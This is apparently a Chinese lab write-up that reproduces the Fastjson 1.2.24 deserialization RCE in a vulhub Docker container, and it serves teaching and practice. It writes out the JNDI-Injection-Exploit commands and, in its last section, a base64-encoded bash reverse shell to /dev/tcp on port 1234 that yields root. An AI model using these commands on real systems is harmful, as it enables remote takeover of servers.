fastjson漏洞复现
文章目录
- 启动环境
- 漏洞复现
-
- 下载bp插件
- 漏洞扫描
- dnslog测试是否向外请求资源
- 用工具构造rmi服务器
- 反弹shell
启动环境
到vulhub目录下
cd vulhub/fastjson/1.2.24-rce
安装环境并启动：
sudo docker-compose up -d && sudo docker-compose up -d
启动成功，如图：
查看端口发现是8090，打开bp内置浏览器，输入10.9.75.45:8090打开环境：
漏洞复现
FastJson 是Alibab的一款开源Json 解析库，可用于将Java 对象转换为其Json 表示形式，也可以用于将Json 字符串转换为等效的Java 对象。近几年来FastJson 漏洞层出不穷。RCE 漏洞的源头:17年FastJson 爆出的1.2.24 反序列化漏洞。
关于FasiJson 1.2.24 反序列化漏洞，简单来说，就是FastJson 通过parsebiect/parse 将传入的字符由反广列化为Java 对象时由于没有进行合理检查而导致的。
打开环境后用bp抓包，Ctrl+r发送到repeater模块，右键改为post方法，将content-type字段改为application/json，然后添加一个json格式的数据并提交：
{"name":"EMT","age":24}
上传成功：
这个过程中：json-> object -> json，进行了序列化和反序列化
下载bp插件
到网站Releases · Maskhe/FastjsonScan (github.com)，复制FastjsonScan.jar包的地址：
在kali中到下面目录：
cd tools/burpsuite/extensions
新建一个目录：
mkdir Fastjosnscan
到新建的目录下，输入命令拉取FastjsonScan.jar包：
proxychains wget https://github.com/Maskhe/FastjsonScan/releases/download/1.0/FastjsonScan.jar
在bp中选择extensions，点击add，添加插件：
安装插件已完成：
漏洞扫描
来到repeater模块，将数据包发送到FastjsonScan：
发送后等待扫描结束后发现漏洞，得到漏洞利用的poc：
poc中有rmi，它相当于Java的http协议，通过它可以远程执行引用一个外部类。
dnslog测试是否向外请求资源
生成一个URL：
用lbap测试是否有URL跳转：
测试成功。有URL跳转，向外部请求资源：
用工具构造rmi服务器
cd tools
新建一个文件夹JNDI-Injection-Exploit，进入该目录，输入命令下载工具：
sudo wget https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
下载完成后在该目录下执行命令：
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/EMT" -A "10.9.75.45"
成功构建出服务器，显示出URL：
用生成的URL到数据包中提交，如果成功就可以在容器的tmp目录下创建一个EMT文件，点击send后报错，返回号500：
用命令查看容器ID：
sudo docker ps -a
如图：
登录容器：
sudo docker exec -it 26ad /bin/bash
如图，登录成功：
查看tmp目录下的文件，写入文件成功：
反弹shell
用上面的漏洞可以写一个反弹shell命令来获取对方的shell：
反弹shell命令,端口设为1234：
bash -i >& /dev/tcp/10.9.75.45/1234 0>&1
进行base64编码：
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjQ1LzEyMzQgMD4mMQ==
将base64编码组成下面命令
bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjQ1LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
同上，用工具构造一个可以发送的url：
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjQ1LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "10.9.75.45"
如图，构造成功：
监听1234端口：
复制一条URL到数据包中点击发送：
反弹shell成功，获取到root权限：
